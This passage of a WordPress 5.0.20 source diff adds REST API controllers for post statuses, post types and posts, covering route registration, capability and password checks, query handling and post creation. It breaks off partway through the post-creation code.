+		return apply_filters( 'rest_prepare_status', $response, $status, $request );
+	}
+
+	/**
+	 * Retrieves the post status' schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'              => 'http://json-schema.org/draft-04/schema#',
+			'title'                => 'status',
+			'type'                 => 'object',
+			'properties'           => array(
+				'name'             => array(
+					'description'  => __( 'The title for the status.' ),
+					'type'         => 'string',
+					'context'      => array( 'embed', 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'private'          => array(
+					'description'  => __( 'Whether posts with this status should be private.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'protected'        => array(
+					'description'  => __( 'Whether posts with this status should be protected.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'public'           => array(
+					'description'  => __( 'Whether posts of this status should be shown in the front end of the site.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'queryable'        => array(
+					'description'  => __( 'Whether posts with this status should be publicly-queryable.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'show_in_list'     => array(
+					'description'  => __( 'Whether to include posts in the edit listing for their post type.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'slug'             => array(
+					'description'  => __( 'An alphanumeric identifier for the status.' ),
+					'type'         => 'string',
+					'context'      => array( 'embed', 'view', 'edit' ),
+					'readonly'     => true,
+				),
+			),
+		);
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		return array(
+			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+		);
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php	(revision 56912)
@@ -0,0 +1,321 @@
+<?php
+/**
+ * REST API: WP_REST_Post_Types_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class to access post types via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Post_Types_Controller extends WP_REST_Controller {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->namespace = 'wp/v2';
+		$this->rest_base = 'types';
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'                => $this->get_collection_params(),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<type>[\w-]+)', array(
+			'args' => array(
+				'type' => array(
+					'description' => __( 'An alphanumeric identifier for the post type.' ),
+					'type'        => 'string',
+				),
+			),
+			array(
+				'methods'  => WP_REST_Server::READABLE,
+				'callback' => array( $this, 'get_item' ),
+				'args'     => array(
+					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+	}
+
+	/**
+	 * Checks whether a given request has permission to read types.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|true True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+		if ( 'edit' === $request['context'] ) {
+			foreach ( get_post_types( array(), 'object' ) as $post_type ) {
+				if ( ! empty( $post_type->show_in_rest ) && current_user_can( $post_type->cap->edit_posts ) ) {
+					return true;
+				}
+			}
+
+			return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieves all public post types.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+		$data = array();
+
+		foreach ( get_post_types( array(), 'object' ) as $obj ) {
+			if ( empty( $obj->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) ) {
+				continue;
+			}
+
+			$post_type = $this->prepare_item_for_response( $obj, $request );
+			$data[ $obj->name ] = $this->prepare_response_for_collection( $post_type );
+		}
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Retrieves a specific post type.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$obj = get_post_type_object( $request['type'] );
+
+		if ( empty( $obj ) ) {
+			return new WP_Error( 'rest_type_invalid', __( 'Invalid post type.' ), array( 'status' => 404 ) );
+		}
+
+		if ( empty( $obj->show_in_rest ) ) {
+			return new WP_Error( 'rest_cannot_read_type', __( 'Cannot view post type.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		$data = $this->prepare_item_for_response( $obj, $request );
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * Prepares a post type object for serialization.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param stdClass        $post_type Post type data.
+	 * @param WP_REST_Request $request   Full details about the request.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $post_type, $request ) {
+		$taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) );
+		$taxonomies = wp_list_pluck( $taxonomies, 'name' );
+		$base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
+		$supports = get_all_post_type_supports( $post_type->name );
+
+		$fields = $this->get_fields_for_response( $request );
+		$data   = array();
+
+		if ( in_array( 'capabilities', $fields, true ) ) {
+			$data['capabilities'] = $post_type->cap;
+		}
+
+		if ( in_array( 'description', $fields, true ) ) {
+			$data['description'] = $post_type->description;
+		}
+
+		if ( in_array( 'hierarchical', $fields, true ) ) {
+			$data['hierarchical'] = $post_type->hierarchical;
+		}
+
+		if ( in_array( 'viewable', $fields, true ) ) {
+			$data['viewable'] = is_post_type_viewable( $post_type );
+		}
+
+		if ( in_array( 'labels', $fields, true ) ) {
+			$data['labels'] = $post_type->labels;
+		}
+
+		if ( in_array( 'name', $fields, true ) ) {
+			$data['name'] = $post_type->label;
+		}
+
+		if ( in_array( 'slug', $fields, true ) ) {
+			$data['slug'] = $post_type->name;
+		}
+
+		if ( in_array( 'supports', $fields, true ) ) {
+			$data['supports'] = $supports;
+		}
+
+		if ( in_array( 'taxonomies', $fields, true ) ) {
+			$data['taxonomies'] = array_values( $taxonomies );
+		}
+
+		if ( in_array( 'rest_base', $fields, true ) ) {
+			$data['rest_base'] = $base;
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data    = $this->add_additional_fields_to_object( $data, $request );
+		$data    = $this->filter_response_by_context( $data, $context );
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		$response->add_links( array(
+			'collection' => array(
+				'href'   => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
+			),
+			'https://api.w.org/items' => array(
+				'href' => rest_url( sprintf( 'wp/v2/%s', $base ) ),
+			),
+		) );
+
+		/**
+		 * Filters a post type returned from the API.
+		 *
+		 * Allows modification of the post type data right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param object           $item     The original post type object.
+		 * @param WP_REST_Request  $request  Request used to generate the response.
+		 */
+		return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request );
+	}
+
+	/**
+	 * Retrieves the post type's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema data.
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'              => 'http://json-schema.org/draft-04/schema#',
+			'title'                => 'type',
+			'type'                 => 'object',
+			'properties'           => array(
+				'capabilities'     => array(
+					'description'  => __( 'All capabilities used by the post type.' ),
+					'type'         => 'object',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'description'      => array(
+					'description'  => __( 'A human-readable description of the post type.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'hierarchical'     => array(
+					'description'  => __( 'Whether or not the post type should have children.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'viewable'         => array(
+					'description'  => __( 'Whether or not the post type can be viewed.' ),
+					'type'         => 'boolean',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'labels'           => array(
+					'description'  => __( 'Human-readable labels for the post type for various contexts.' ),
+					'type'         => 'object',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'name'             => array(
+					'description'  => __( 'The title for the post type.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+				'slug'             => array(
+					'description'  => __( 'An alphanumeric identifier for the post type.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+				'supports'         => array(
+					'description'  => __( 'All features, supported by the post type.' ),
+					'type'         => 'object',
+					'context'      => array( 'edit' ),
+					'readonly'     => true,
+				),
+				'taxonomies'       => array(
+					'description'  => __( 'Taxonomies associated with post type.' ),
+					'type'         => 'array',
+					'items'        => array(
+						'type' => 'string',
+					),
+					'context'      => array( 'view', 'edit' ),
+					'readonly'     => true,
+				),
+				'rest_base'            => array(
+					'description'  => __( 'REST base route for the post type.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+			),
+		);
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Collection parameters.
+	 */
+	public function get_collection_params() {
+		return array(
+			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+		);
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php	(revision 56912)
@@ -0,0 +1,2621 @@
+<?php
+/**
+ * REST API: WP_REST_Posts_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core class to access posts via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Posts_Controller extends WP_REST_Controller {
+
+	/**
+	 * Post type.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $post_type;
+
+	/**
+	 * Instance of a post meta fields object.
+	 *
+	 * @since 4.7.0
+	 * @var WP_REST_Post_Meta_Fields
+	 */
+	protected $meta;
+
+	/**
+	 * Passwordless post access permitted.
+	 *
+	 * @since 5.7.1
+	 * @var int[]
+	 */
+	protected $password_check_passed = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $post_type Post type.
+	 */
+	public function __construct( $post_type ) {
+		$this->post_type = $post_type;
+		$this->namespace = 'wp/v2';
+		$obj = get_post_type_object( $post_type );
+		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
+
+		$this->meta = new WP_REST_Post_Meta_Fields( $this->post_type );
+	}
+
+	/**
+	 * Registers the routes for the objects of the controller.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+
+		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_items' ),
+				'permission_callback' => array( $this, 'get_items_permissions_check' ),
+				'args'                => $this->get_collection_params(),
+			),
+			array(
+				'methods'             => WP_REST_Server::CREATABLE,
+				'callback'            => array( $this, 'create_item' ),
+				'permission_callback' => array( $this, 'create_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+
+		$schema = $this->get_item_schema();
+		$get_item_args = array(
+			'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
+		);
+		if ( isset( $schema['properties']['password'] ) ) {
+			$get_item_args['password'] = array(
+				'description' => __( 'The password for the post if it is password protected.' ),
+				'type'        => 'string',
+			);
+		}
+		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
+			'args' => array(
+				'id' => array(
+					'description' => __( 'Unique identifier for the object.' ),
+					'type'        => 'integer',
+				),
+			),
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'get_item' ),
+				'permission_callback' => array( $this, 'get_item_permissions_check' ),
+				'args'                => $get_item_args,
+			),
+			array(
+				'methods'             => WP_REST_Server::EDITABLE,
+				'callback'            => array( $this, 'update_item' ),
+				'permission_callback' => array( $this, 'update_item_permissions_check' ),
+				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+			),
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'callback'            => array( $this, 'delete_item' ),
+				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
+				'args'                => array(
+					'force' => array(
+						'type'        => 'boolean',
+						'default'     => false,
+						'description' => __( 'Whether to bypass trash and force deletion.' ),
+					),
+				),
+			),
+			'schema' => array( $this, 'get_public_item_schema' ),
+		) );
+	}
+
+	/**
+	 * Checks if a given request has access to read posts.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param  WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
+	 */
+	public function get_items_permissions_check( $request ) {
+
+		$post_type = get_post_type_object( $this->post_type );
+
+		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Override the result of the post password check for REST requested posts.
+	 *
+	 * Allow users to read the content of password protected posts if they have
+	 * previously passed a permission check or if they have the `edit_post` capability
+	 * for the post being checked.
+	 *
+	 * @since 5.7.1
+	 *
+	 * @param bool    $required Whether the post requires a password check.
+	 * @param WP_Post $post     The post been password checked.
+	 * @return bool Result of password check taking in to account REST API considerations.
+	 */
+	public function check_password_required( $required, $post ) {
+		if ( ! $required ) {
+			return $required;
+		}
+
+		$post = get_post( $post );
+
+		if ( ! $post ) {
+			return $required;
+		}
+
+		if ( ! empty( $this->password_check_passed[ $post->ID ] ) ) {
+			// Password previously checked and approved.
+			return false;
+		}
+
+		return ! current_user_can( 'edit_post', $post->ID );
+	}
+
+	/**
+	 * Retrieves a collection of posts.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_items( $request ) {
+
+		// Ensure a search string is set in case the orderby is set to 'relevance'.
+		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
+			return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) );
+		}
+
+		// Ensure an include parameter is set in case the orderby is set to 'include'.
+		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
+			return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) );
+		}
+
+		// Retrieve the list of registered collection query parameters.
+		$registered = $this->get_collection_params();
+		$args = array();
+
+		/*
+		 * This array defines mappings between public API query parameters whose
+		 * values are accepted as-passed, and their internal WP_Query parameter
+		 * name equivalents (some are the same). Only values which are also
+		 * present in $registered will be set.
+		 */
+		$parameter_mappings = array(
+			'author'         => 'author__in',
+			'author_exclude' => 'author__not_in',
+			'exclude'        => 'post__not_in',
+			'include'        => 'post__in',
+			'menu_order'     => 'menu_order',
+			'offset'         => 'offset',
+			'order'          => 'order',
+			'orderby'        => 'orderby',
+			'page'           => 'paged',
+			'parent'         => 'post_parent__in',
+			'parent_exclude' => 'post_parent__not_in',
+			'search'         => 's',
+			'slug'           => 'post_name__in',
+			'status'         => 'post_status',
+		);
+
+		/*
+		 * For each known parameter which is both registered and present in the request,
+		 * set the parameter's value on the query $args.
+		 */
+		foreach ( $parameter_mappings as $api_param => $wp_param ) {
+			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
+				$args[ $wp_param ] = $request[ $api_param ];
+			}
+		}
+
+		// Check for & assign any parameters which require special handling or setting.
+		$args['date_query'] = array();
+
+		// Set before into date query. Date query must be specified as an array of an array.
+		if ( isset( $registered['before'], $request['before'] ) ) {
+			$args['date_query'][0]['before'] = $request['before'];
+		}
+
+		// Set after into date query. Date query must be specified as an array of an array.
+		if ( isset( $registered['after'], $request['after'] ) ) {
+			$args['date_query'][0]['after'] = $request['after'];
+		}
+
+		// Ensure our per_page parameter overrides any provided posts_per_page filter.
+		if ( isset( $registered['per_page'] ) ) {
+			$args['posts_per_page'] = $request['per_page'];
+		}
+
+		if ( isset( $registered['sticky'], $request['sticky'] ) ) {
+			$sticky_posts = get_option( 'sticky_posts', array() );
+			if ( ! is_array( $sticky_posts ) ) {
+				$sticky_posts = array();
+			}
+			if ( $request['sticky'] ) {
+				/*
+				 * As post__in will be used to only get sticky posts,
+				 * we have to support the case where post__in was already
+				 * specified.
+				 */
+				$args['post__in'] = $args['post__in'] ? array_intersect( $sticky_posts, $args['post__in'] ) : $sticky_posts;
+
+				/*
+				 * If we intersected, but there are no post ids in common,
+				 * WP_Query won't return "no posts" for post__in = array()
+				 * so we have to fake it a bit.
+				 */
+				if ( ! $args['post__in'] ) {
+					$args['post__in'] = array( 0 );
+				}
+			} elseif ( $sticky_posts ) {
+				/*
+				 * As post___not_in will be used to only get posts that
+				 * are not sticky, we have to support the case where post__not_in
+				 * was already specified.
+				 */
+				$args['post__not_in'] = array_merge( $args['post__not_in'], $sticky_posts );
+			}
+		}
+
+		// Force the post_type argument, since it's not a user input variable.
+		$args['post_type'] = $this->post_type;
+
+		/**
+		 * Filters the query arguments for a request.
+		 *
+		 * Enables adding extra arguments or setting defaults for a post collection request.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @link https://developer.wordpress.org/reference/classes/wp_query/
+		 *
+		 * @param array           $args    Key value array of query var to query value.
+		 * @param WP_REST_Request $request The request used.
+		 */
+		$args = apply_filters( "rest_{$this->post_type}_query", $args, $request );
+		$query_args = $this->prepare_items_query( $args, $request );
+
+		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
+			$tax_exclude = $base . '_exclude';
+
+			if ( ! empty( $request[ $base ] ) ) {
+				$query_args['tax_query'][] = array(
+					'taxonomy'         => $taxonomy->name,
+					'field'            => 'term_id',
+					'terms'            => $request[ $base ],
+					'include_children' => false,
+				);
+			}
+
+			if ( ! empty( $request[ $tax_exclude ] ) ) {
+				$query_args['tax_query'][] = array(
+					'taxonomy'         => $taxonomy->name,
+					'field'            => 'term_id',
+					'terms'            => $request[ $tax_exclude ],
+					'include_children' => false,
+					'operator'         => 'NOT IN',
+				);
+			}
+		}
+
+		$posts_query  = new WP_Query();
+		$query_result = $posts_query->query( $query_args );
+
+		// Allow access to all password protected posts if the context is edit.
+		if ( 'edit' === $request['context'] ) {
+			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
+		}
+
+		$posts = array();
+
+		foreach ( $query_result as $post ) {
+			if ( ! $this->check_read_permission( $post ) ) {
+				continue;
+			}
+
+			$data    = $this->prepare_item_for_response( $post, $request );
+			$posts[] = $this->prepare_response_for_collection( $data );
+		}
+
+		// Reset filter.
+		if ( 'edit' === $request['context'] ) {
+			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
+		}
+
+		$page = (int) $query_args['paged'];
+		$total_posts = $posts_query->found_posts;
+
+		if ( $total_posts < 1 ) {
+			// Out-of-bounds, run the query again without LIMIT for total count.
+			unset( $query_args['paged'] );
+
+			$count_query = new WP_Query();
+			$count_query->query( $query_args );
+			$total_posts = $count_query->found_posts;
+		}
+
+		$max_pages = ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );
+
+		if ( $page > $max_pages && $total_posts > 0 ) {
+			return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) );
+		}
+
+		$response  = rest_ensure_response( $posts );
+
+		$response->header( 'X-WP-Total', (int) $total_posts );
+		$response->header( 'X-WP-TotalPages', (int) $max_pages );
+
+		$request_params = $request->get_query_params();
+		$base = add_query_arg( $request_params, rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
+
+		if ( $page > 1 ) {
+			$prev_page = $page - 1;
+
+			if ( $prev_page > $max_pages ) {
+				$prev_page = $max_pages;
+			}
+
+			$prev_link = add_query_arg( 'page', $prev_page, $base );
+			$response->link_header( 'prev', $prev_link );
+		}
+		if ( $max_pages > $page ) {
+			$next_page = $page + 1;
+			$next_link = add_query_arg( 'page', $next_page, $base );
+
+			$response->link_header( 'next', $next_link );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Get the post, if the ID is valid.
+	 *
+	 * @since 4.7.2
+	 *
+	 * @param int $id Supplied ID.
+	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
+	 */
+	protected function get_post( $id ) {
+		$error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
+		if ( (int) $id <= 0 ) {
+			return $error;
+		}
+
+		$post = get_post( (int) $id );
+		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
+			return $error;
+		}
+
+		return $post;
+	}
+
+	/**
+	 * Checks if a given request has access to read a post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object otherwise.
+	 */
+	public function get_item_permissions_check( $request ) {
+		$post = $this->get_post( $request['id'] );
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
+			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( $post && ! empty( $request['password'] ) ) {
+			// Check post password, and return error if invalid.
+			if ( ! hash_equals( $post->post_password, $request['password'] ) ) {
+				return new WP_Error( 'rest_post_incorrect_password', __( 'Incorrect post password.' ), array( 'status' => 403 ) );
+			}
+		}
+
+		// Allow access to all password protected posts if the context is edit.
+		if ( 'edit' === $request['context'] ) {
+			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
+		}
+
+		if ( $post ) {
+			return $this->check_read_permission( $post );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks if the user can access password-protected content.
+	 *
+	 * This method determines whether we need to override the regular password
+	 * check in core with a filter.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post         $post    Post to check against.
+	 * @param WP_REST_Request $request Request data to check.
+	 * @return bool True if the user can access password-protected content, otherwise false.
+	 */
+	public function can_access_password_content( $post, $request ) {
+		if ( empty( $post->post_password ) ) {
+			// No filter required.
+			return false;
+		}
+
+		/*
+		 * Users always gets access to password protected content in the edit
+		 * context if they have the `edit_post` meta capability.
+		 */
+		if (
+			'edit' === $request['context'] &&
+			current_user_can( 'edit_post', $post->ID )
+		) {
+			return true;
+		}
+
+		// No password, no auth.
+		if ( empty( $request['password'] ) ) {
+			return false;
+		}
+
+		// Double-check the request password.
+		return hash_equals( $post->post_password, $request['password'] );
+	}
+
+	/**
+	 * Retrieves a single post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function get_item( $request ) {
+		$post = $this->get_post( $request['id'] );
+		if ( is_wp_error( $post ) ) {
+			return $post;
+		}
+
+		$data     = $this->prepare_item_for_response( $post, $request );
+		$response = rest_ensure_response( $data );
+
+		if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
+			$response->link_header( 'alternate',  get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given request has access to create a post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
+	 */
+	public function create_item_permissions_check( $request ) {
+		if ( ! empty( $request['id'] ) ) {
+			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
+		}
+
+		$post_type = get_post_type_object( $this->post_type );
+
+		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
+			return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
+			return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make posts sticky.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! current_user_can( $post_type->cap->create_posts ) ) {
+			return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create posts as this user.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! $this->check_assign_terms_permission( $request ) ) {
+			return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign the provided terms.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Creates a single post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
+	 */
+	public function create_item( $request ) {
+		if ( ! empty( $request['id'] ) ) {
+			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
+		}
+
+		$prepared_post = $this->prepare_item_for_database( $request );
+
+		if ( is_wp_error( $prepared_post ) ) {
+			return $prepared_post;
+		}
+
+		$prepared_post->post_type = $this->post_type;
+
+		$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true );
+
+		if ( is_wp_error( $post_id ) ) {
+
+			if ( 'db_insert_error' === $post_id->get_error_code() ) {
+				$post_id->add_data( array( 'status' => 500 ) );
+			} else {
+				$post_id->add_data( array( 'status' => 400 ) );
+			}
+
+			return $post_id;
+		}
+
+		$post = get_post( $post_id );
+
+		/**
+		 * Fires after a single post is created or updated via the REST API.
+		 *
+		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Post         $post     Inserted or updated post object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a post, false when updating.
+		 */
+		do_action( "rest_insert_{$this->post_type}", $post, $request, true );
+
+		$schema = $this->get_item_schema();
+
+		if ( ! empty( $schema['properties']['sticky'] ) ) {
+			if ( ! empty( $request['sticky'] ) ) {
+				stick_post( $post_id );
+			} else {
+				unstick_post( $post_id );
+			}
+		}
+
+		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
+			$this->handle_featured_media( $request['featured_media'], $post_id );
+		}
+
+		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
+			set_post_format( $post, $request['format'] );
+		}
+
+		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
+			$this->handle_template( $request['template'], $post_id, true );
+		}
+
+		$terms_update = $this->handle_terms( $post_id, $request );
+
+		if ( is_wp_error( $terms_update ) ) {
+			return $terms_update;
+		}
+
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $post_id );
+
